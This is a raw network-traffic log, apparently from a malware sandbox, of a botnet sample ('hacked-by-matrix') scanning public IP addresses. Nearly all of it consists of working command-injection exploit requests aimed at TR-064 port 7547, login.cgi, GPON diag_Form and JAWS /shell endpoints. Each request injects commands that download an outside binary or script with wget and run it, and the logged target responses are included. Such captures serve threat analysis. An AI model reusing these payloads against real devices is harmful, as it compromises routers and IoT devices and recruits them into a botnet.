Mar 2, 2024 12:38:17.561919928 CET	233	IN	HTTP/1.1 400 Bad Request Content-type: text/html Date: Sat, 02 Mar 2024 12:38:17 GMT Last-modified: Sat, 02 Mar 2024 12:38:17 GMT Server: GIANTS Dedicated Server GIANTS Dedicated Server/9.2.0.0 Content-Length: 58

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.23	56652	66.65.39.110	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.643627882 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.23	56760	66.65.39.110	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.758742094 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.23	44562	66.98.85.34	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.932269096 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:18.102278948 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.23	44568	66.98.85.34	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.107062101 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:18.285301924 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.23	45914	212.189.202.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.193160057 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:24.536753893 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:31.959676027 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:46.549640894 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.23	53050	175.204.149.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.210413933 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.23	44756	69.25.25.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.218738079 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.23	55394	119.217.34.98	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.220558882 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:18.514461040 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:38:18 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.23	56912	51.254.136.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.251075983 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:19.165431023 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:20.217387915 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:20.381550074 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.3 Date: Sat, 02 Mar 2024 11:38:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.23	38386	23.8.73.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.313980103 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:18.873531103 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:18.983761072 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:18 GMT Date: Sat, 02 Mar 2024 11:38:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 31 63 32 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 38 26 23 34 36 3b 64 65 35 62 64 61 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf1c2117.1709379498.de5bda5</BODY></HTML>
Mar 2, 2024 12:38:22.377058029 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:18 GMT Date: Sat, 02 Mar 2024 11:38:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 31 63 32 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 38 26 23 34 36 3b 64 65 35 62 64 61 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf1c2117.1709379498.de5bda5</BODY></HTML>
Mar 2, 2024 12:38:26.432909012 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:18 GMT Date: Sat, 02 Mar 2024 11:38:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 31 63 32 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 38 26 23 34 36 3b 64 65 35 62 64 61 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf1c2117.1709379498.de5bda5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.23	53058	175.204.149.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.490900040 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.23	55402	119.217.34.98	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.513147116 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:18.810720921 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:38:18 GMT Content-length: 0
Mar 2, 2024 12:38:19.611706018 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:38:18 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.23	44734	194.183.181.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.675503016 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:18.873567104 CET	638	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Permissions-Policy: geolocation=(),midi=(),sync-xhr=(),microphone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(self),payment=() Referrer-Policy: strict-origin X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.23	33378	23.202.84.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.680062056 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:18.840200901 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:18 GMT Date: Sat, 02 Mar 2024 11:38:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 34 63 33 63 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.44c3c117.1709379498.0</BODY></HTML>
Mar 2, 2024 12:38:19.678193092 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:18 GMT Date: Sat, 02 Mar 2024 11:38:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 34 63 33 63 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.44c3c117.1709379498.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.23	59800	20.50.236.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.689173937 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:18.849884987 CET	292	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.23	52646	13.53.160.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.709425926 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:18.899883986 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <link rel="icon" type="image/svg+xml" href="/ido_logo.png" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>IDO PASS</ti
Mar 2, 2024 12:38:18.899941921 CET	1122	IN	Data Raw: 65 74 2f 31 2e 31 33 2e 36 2f 63 73 73 2f 64 61 74 61 54 61 62 6c 65 73 2e 62 6f 6f 74 73 74 72 61 70 35 2e 6d 69 6e 2e 63 73 73 22 0d 0a 20 20 20 20 2f 3e 0d 0a 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d Data Ascii: et/1.13.6/css/dataTables.bootstrap5.min.css" /> <link rel="icon" type="image/x-icon" href="assets/ido_logo.png" /> ... <link rel="stylesheet" href="./src/css/new.css" /> --> ... <link rel="stylesheet" href="./src/css/st

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.23	42728	188.54.79.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:18.732371092 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
